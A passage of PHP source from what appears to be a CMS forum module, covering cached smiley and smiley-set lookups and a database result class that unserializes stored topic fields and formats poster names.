{
$smiles = CSmile::getByGalleryId($type, COption::GetOptionInt("forum", "smile_gallery_id", 0), $lang);
$result = array();
foreach ($smiles as $smile)
{
if ($smile['HIDDEN'] == 'Y')
continue;
$result[] = array(
'SET_ID' => $smile['SET_ID'],
'NAME' => $smile['NAME'],
'IMAGE' => ($smile['TYPE'] == CSmile::TYPE_SMILE ? CSmile::PATH_TO_SMILE : CSmile::PATH_TO_ICON).$smile["SET_ID"]."/".$smile["IMAGE"],
'TYPING' => $smile['TYPING'],
'WIDTH' => $smile['IMAGE_WIDTH'],
'HEIGHT' => $smile['IMAGE_HEIGHT'],
);
}
self::$smiles[$key] = $result;
}
return self::$smiles[$key];
}
public static function getSetsByType($type, $lang)
{
$type = ($type == CSmile::TYPE_ICON ? CSmile::TYPE_ICON : CSmile::TYPE_SMILE);
$key = $type."_".$lang;
if (!array_key_exists($key, self::$sets))
{
$smiles = self::GetByType($type, $lang);
$smilesSet = CSmileSet::getListCache();
$result = array();
foreach ($smiles as $smile)
{
if (!array_key_exists($smile["SET_ID"], $result))
{
$result[$smile["SET_ID"]] = $smilesSet[$smile["SET_ID"]];
}
}
self::$sets[$key] = $result;
}
return self::$sets[$key];
}
}
class _CForumDBResult extends CDBResult
{
var $sNameTemplate = '';
function _CForumDBResult($res, $params = array())
{
$this->sNameTemplate = (!empty($params["sNameTemplate"]) ? $params["sNameTemplate"] : '');
parent::CDBResult($res);
}
function Fetch()
{
global $DB;
if($res = parent::Fetch())
{
if (COption::GetOptionString("forum", "FILTER", "Y") == "Y")
{
if (strLen(trim($res["HTML"])) >0)
{
$arr = unserialize($res["HTML"]);
if (is_array($arr) && count($arr) > 0):
$res["LAST_POSTER_NAME"] = $arr["LAST_POSTER_NAME"];
endif;
}
if (strLen(trim($res["TOPIC_HTML"])) > 0)
{
$arr = unserialize($res["TOPIC_HTML"]);
if (is_array($arr) && is_set($arr, "TITLE"))
$res["TITLE"] = $arr["TITLE"];
}
if (strLen(trim($res["ABS_TOPIC_HTML"])) > 0)
{
$arr = unserialize($res["ABS_TOPIC_HTML"]);
if (is_array($arr))
{
if (is_set($arr, "TITLE"))
$res["ABS_TITLE"] = $arr["TITLE"];
if (is_set($arr, "ABS_LAST_POSTER_NAME"))
$res["ABS_LAST_POSTER_NAME"] = $arr["ABS_LAST_POSTER_NAME"];
}
}
}
if (!empty($this->sNameTemplate))
{
$arTmp = array();
foreach (array("LAST_POSTER_ID" => "LAST_POSTER_NAME", "ABS_LAST_POSTER_ID" => "ABS_LAST_POSTER_NAME") as $id => $name)
{
$tmp = "";
if (!empty($res[$id]))
{
if (in_array($res[$id], $arTmp))
{
$tmp = $arTmp[$res[$id]];
}
else
{
$arTmp[$res[$id]] = $tmp = (!empty($res[$name."_FRMT"]) ? $res[$name."_FRMT"] :
CForumUser::GetFormattedNameByUserID($res[$id], $this->sNameTemplate));
}
}
$res[$name] = (!empty($tmp) ? $tmp : $res[$name]);
}
}
}
return $res;
}
}